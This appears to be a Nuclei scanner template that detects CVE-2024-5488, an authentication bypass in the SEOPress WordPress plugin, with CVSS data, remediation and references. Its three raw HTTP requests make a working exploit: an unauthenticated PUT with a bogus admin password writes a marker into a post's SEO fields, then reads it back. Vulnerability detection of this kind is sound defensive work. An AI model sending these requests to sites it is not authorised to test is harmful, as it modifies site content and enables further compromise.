SEOPress < 7.9 - Authentication Bypass

id: CVE-2024-5488

info:
  name: SEOPress < 7.9 - Authentication Bypass
  author: pdresearch,iamnoooob,rootxharsh
  severity: critical
  description: |
    The SEOPress WordPress plugin before 7.9 does not properly protect some of its REST API routes, which combined with another Object Injection vulnerability can allow unauthenticated attackers to unserialize malicious gadget chains, compromising the site if a suitable chain is present.
  impact: |
    Unauthenticated attackers can bypass authentication protections and exploit object injection to unserialize malicious gadget chains, potentially achieving remote code execution if suitable chains are present.
  remediation: |
    Update SEOPress plugin to version 7.9 or later to address the authentication bypass and object injection vulnerabilities.
  reference:
    - https://wpscan.com/blog/object-injection-vulnerability-fixed-in-seopress-7-9/
    - https://wpscan.com/vulnerability/28507376-ded0-4e1a-b2fc-2182895aa14c/
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5488
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5488
    epss-score: 0.71855
    epss-percentile: 0.9876
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2024,wp,wordpress,wp-plugin,seopress,auth-bypass,vuln

flow: http(1) && http(2) && http(3)

variables:
  marker: "{{randstr}}"
  username: "admin"

http:
  - raw:
      - |
        PUT /wp-json/seopress/v1/posts/1/title-description-metas HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'Sorry, you are not allowed to do that.'
        internal: true

  - raw:
      - |
        PUT /wp-json/seopress/v1/posts/1/title-description-metas HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username+':aaaaaa')}}
        Content-Type: application/x-www-form-urlencoded

        title={{marker}}&description={{marker}}

    matchers:
      - type: word
        part: body
        words:
          - '"code":"success"'
        internal: true

  - raw:
      - |
        GET /wp-json/seopress/v1/posts/1/title-description-metas HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"title":"{{marker}}","description":"{{marker}}"'
# digest: 490a004630440220546ba4898ae072afdd7821e99fd86a68f3ccc7c6fd59a1b17785024bd4f07ff802207d3307604d3c85c7741c4a9a08d3293837b764a41565f07c14e9f208a6f25d37:922c64590222798bb761d5b6d8e72950